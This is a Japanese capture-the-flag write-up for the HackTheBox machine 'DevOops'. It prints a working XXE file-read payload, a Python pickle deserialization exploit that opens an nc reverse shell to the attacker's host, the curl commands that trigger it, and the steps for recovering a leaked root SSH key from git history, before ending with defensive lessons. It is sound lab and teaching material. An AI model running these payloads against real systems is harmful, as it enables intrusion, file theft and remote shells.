HackTheBox: DevOops — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp SSH, 5000/tcp Gunicorn
→
22/tcp SSH, 5000/tcp Gunicorn
/upload XXE
/etc/passwd, feed.py読取
→
/etc/passwd, feed.py読取
/newpost pickle RCE
Content-Type修正が鍵
→
Content-Type修正が鍵
roosaシェル取得
user.txt ✓
→
user.txt ✓
git show で鍵コミット調査
git diff ではなく git show
→
git diff ではなく git show
漏洩root鍵でSSH
→
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.58.1
RESULT
PORT STATE SERVICE 22/tcp open ssh 5000/tcp open upnp Nmap done: 1 IP address (1 host up) scanned in 138.66 seconds
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,5000 10.129.58.1
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) 5000/tcp open http Gunicorn 19.7.1 |_http-server-header: gunicorn/19.7.1
Webアプリのバナー確認
BASH
curl -s -i http://10.129.58.1:5000/
RESULT
HTTP/1.1 200 OK
Server: gunicorn/19.7.1
<html><body>Under construction!<br>
<p>This is feed.py, which will become the MVP for Blogfeeder application.</p>
<p>TODO: replace this with the proper feed from the dev.solita.fi backend.</p>
<p><img src="/feed" ...></p></body></html>
ℹ️
レスポンス本文が自身のソースファイル名
feed.py を明示している。
後続のXXEで実際にこのファイル自体を読み出すことになる。
PHASE 2
/upload の XML外部実体参照 (XXE) でローカルファイル読取
XXEペイロードの構成
PYTHON (生成したXML)
<?xml version='1.0' encoding='ISO-8859-1'?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <creds> <Author>&xxe;</Author> <Subject>writeup</Subject> <Content>writeup</Content> </creds>
BASH
curl -s -F "file=@xxe.xml;filename=writeup.xml;type=text/xml" \ http://10.129.58.1:5000/upload
RESULT
PROCESSED BLOGPOST: Author: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:... ... git:x:1001:1001:git,,,:/home/git:/bin/bash roosa:x:1002:1002:,,,:/home/roosa:/bin/bash blogfeed:x:1003:1003:,,,:/home/blogfeed:/bin/false Subject: writeup File path: /home/roosa/deploy/src
✅
XXE成功。アップロードされたXMLの
&xxe;実体が
<Author>要素内で展開され、ファイル内容がそのままレスポンスに
反映される。レスポンス末尾のFile path: /home/roosa/deploy/srcから
アプリの実配置パスも判明。
アプリ自身のソース(feed.py)を読み出す
BASH
# file:///home/roosa/deploy/src/feed.py を同様にXXEで読取
RESULT (feed.py 抜粋)
@app.route("/newpost", methods=["POST"])
def newpost():
# TODO: proper save to database, this is for testing purposes right now
picklestr = base64.urlsafe_b64decode(request.data)
postObj = pickle.loads(picklestr)
return "POST RECEIVED: " + postObj['Subject']
🚨
致命的な設計ミス発見。
/newpostは攻撃者が完全に
制御できるbase64文字列を直接pickle.loads()に渡している。
Pythonのpickleは信頼できないデータの逆シリアル化がそのまま
任意コード実行につながることで知られる危険な仕組み。
PHASE 3
安全でないpickle逆シリアル化 → RCE
悪意pickleペイロードの生成
PYTHON
import pickle, base64
class Exploit:
def __reduce__(self):
return (os.system, ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1"
"|nc <kali_ip> 4445 >/tmp/f",))
raw = pickle.dumps(Exploit(), protocol=0)
b64 = base64.urlsafe_b64encode(raw)
ℹ️
__reduce__が返す(callable, args)タプルは、
pickle.loads()の実行中に(結果が変数に代入されるより前に)
副作用として即座に呼び出される。これが「逆シリアル化するだけでコード実行が
起きる」pickle脆弱性の核心的な仕組み。protocol 0(テキストベース)を使うと
生成物がASCII文字のみになりHTTP経由での送信が扱いやすい。
重要な落とし穴 — curlの既定Content-Type
BASH (最初の失敗)
curl -s --data-binary "<base64文字列>" http://10.129.58.1:5000/newpost
RESULT
<h1><p>Internal Server Error</p></h1> (リバースシェルは一切接続してこない)
⚠️
curlは
-HでContent-Typeを明示しない限り、
--data-binary使用時に既定で
Content-Type: application/x-www-form-urlencodedを付与する。
Flaskはこのcontent-typeを見るとボディを自動的にフォームデータとして
パースしてしまい、request.form側に吸収されて
request.dataが空(b”)になる。結果
pickle.loads(b'')がEOFErrorで即座に例外を投げ、
os.system()が一度も呼ばれないまま500エラーになっていた。
BASH (修正)
curl -s -H "Content-Type: application/octet-stream" \ --data-binary "<base64文字列>" \ http://10.129.58.1:5000/newpost
✅
非フォーム系のContent-Typeを明示することで、Flaskはボディをパースせず
request.dataに生バイト列として渡すようになり、
pickle.loads()が正しく実行されリバースシェルが確立した。
(この後postObj['Subject']で整数を添字アクセスしようとして
500エラーにはなるが、その時点で既にコマンドは実行済みのため無害)。
PHASE 4
リバースシェル確立 → user.txt
リスナー起動 & トリガー送信
BASH
# ターミナル1 nc -lnvp 4445 # ターミナル2 (修正済みcurl) curl -s -H "Content-Type: application/octet-stream" \ --data-binary "Y3Bvc2l4CnN5c3RlbQpwMAooVnJt..." \ http://10.129.58.1:5000/newpost
RESULT (nc リスナー側)
listening on [any] 4445 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.58.1] 43076 /bin/sh: 0: can't access tty; job control turned off $ id uid=1002(roosa) gid=1002(roosa) groups=1002(roosa),4(adm),27(sudo)
user.txt取得
BASH
$ cat /home/roosa/user.txt
RESULT
942d1e769c8d0fffa893879bf3b5903a
user.txt — roosa
942d1e769c8d0fffa893879bf3b5903a
ℹ️
idの出力に27(sudo)グループが含まれているが、
本機の想定ルートはsudo権限昇格ではなくgit履歴からの鍵復元。
PHASE 5
git履歴調査 — 漏洩SSH秘密鍵の発掘
怪しいコミットの発見
BASH
$ cd /home/roosa/work/blogfeed && git log --all --oneline
RESULT
7ff507d Use Base64 for pickle feed loading 26ae6c8 Set PIN to make debugging faster... cec54d8 Debug support added to make development more agile. ca3e768 Blogfeed app, initial version. dfebfdf Gunicorn startup script 33e87c3 reverted accidental commit with proper key d387abf add key for feed integration from tnerprise backend 1422e5a Initial commit
🚨
d387abfで秘密鍵が誤ってコミットされ、33e87c3で
「修正」として別の鍵に差し替えられている。しかしgit履歴には
古い(漏洩した)鍵の内容がそのまま残っているため、リポジトリの
全履歴を見られる限り古い鍵を復元できる。
重要な落とし穴 — git diff ではなく git show
BASH (最初の失敗)
$ git diff 33e87c3
RESULT
diff --git a/run-gunicorn.sh b/run-gunicorn.sh new file mode 100755 ... (鍵とは無関係な、33e87c3より後の全コミットの変更が混ざって出てくる)
⚠️
git diff <hash>は、そのコミットから現在のHEAD
(作業ツリー)までの累積差分を表示するため、
33e87c3より後に追加された無関係なコミット(gunicorn起動
スクリプト追加、デバッグPIN設定など)の変更まで全部混ざって出てきてしまい、
目的の鍵の差分が埋もれて見つからなかった。
BASH (修正)
$ git show 33e87c3 | sed -n '/-----BEGIN/,/-----END/p'
RESULT
-----BEGIN RSA PRIVATE KEY----- -MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde -8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i ... (25行、'-'始まりが旧鍵) +MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN ... (25行、'+'始まりが新鍵) -----END RSA PRIVATE KEY-----
✅
git show <hash>はそのコミット自身が
親コミットに対して導入した変更だけを表示する。これにより
鍵ファイルの旧内容(-で始まる行、削除された=revert前の鍵)と
新内容(+で始まる行)がきれいに分離して得られた。
ℹ️
再構築時の注意: base64アルファベットには文字として
+や/が含まれるため、diffの行頭が
+X...のような形になっている行は、「diffの追加マーカー」
なのか「鍵データ自身の先頭文字がたまたま+」なのか、目視だけでは
区別しづらい罠がある。手動で書き写して再構築すると1行丸ごと
誤判定して欠落させやすいため、awk '/^ /||/^-/{print substr($0,2)}'
のようにターゲット側で機械的に1文字目(diffマーカー)だけを
確実に除去してから読み出す方が安全。
PHASE 6
漏洩root鍵でSSHログイン → root.txt
旧鍵でSSHログイン
BASH
chmod 600 old_key.pem ssh -i old_key.pem -o StrictHostKeyChecking=no root@10.129.58.1 \ "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root) ebe3383a7f2af991f20929f150bfdd43
✅
rootログイン成功! リポジトリ上は「修正済み」に見える鍵でも、
サーバー側の
authorized_keysは旧鍵のまま更新されていなかった
ため、git履歴に残る削除済みの鍵がそのまま今も通用する。
「secretをgit revertで消したつもりでも、履歴が残る限り漏洩は続く」という
典型的な教訓。
root.txt — root@DevOops
ebe3383a7f2af991f20929f150bfdd43
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — roosa
942d1e769c8d0fffa893879bf3b5903a
root.txt — root
ebe3383a7f2af991f20929f150bfdd43
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| XXE (XML外部実体参照) | /upload エンドポイント | 任意ローカルファイル読取 | High | file://スキームのSYSTEM実体でサーバー上の任意ファイル(/etc/passwd, feed.py)を読取 |
| 安全でないpickle逆シリアル化 | /newpost エンドポイント | リモートコード実行 (roosa) | Critical | __reduce__でos.systemを返す悪意オブジェクトをprotocol 0でpickle化しPOST |
| git履歴への機密情報コミット | blogfeedリポジトリ | 権限昇格 (root) | Critical | revertで「削除」したつもりの秘密鍵がgit historyに残存し復元可能、かつサーバー側authorized_keysが未更新 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22/tcp SSH、5000/tcp Gunicorn(Flask) |
| 2 | 情報収集 | /upload XXE | /etc/passwd、feed.pyソースコード(pickle脆弱性発見) |
| 3 | RCE確立 | /newpost pickle RCE (Content-Type修正必須) | roosaシェル |
| 4 | フラグ取得① | – | user.txt |
| 5 | 調査 | git show(diffではなく)で鍵コミット分析 | 旧root SSH秘密鍵の復元 |
| 6 | 権限昇格 | 漏洩鍵でSSHログイン | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| XMLアップロード機能でDTD/外部実体展開が有効 | XMLパーサーでDTD処理・外部実体解決を無効化する(例: lxmlのresolve_entities=False)。 |
| 攻撃者制御のbase64文字列を直接pickle.loadsに渡している | 信頼できない入力の逆シリアル化にpickleを絶対に使わない。JSON等の安全なフォーマットを使う。 |
| 秘密鍵をgitにコミットしてしまい、revertで「削除」した気になっている | コミットした秘密情報はgit historyから完全に除去(git filter-repo/BFG等)し、直ちに鍵自体をローテーション(失効・再発行)する。revertだけでは漏洩は継続する。 |
| authorized_keysが鍵ローテーション後も更新されていない | 鍵ライフサイクル管理を自動化し、ローテーション時にサーバー側の許可済み鍵一覧も確実に同期させる。 |

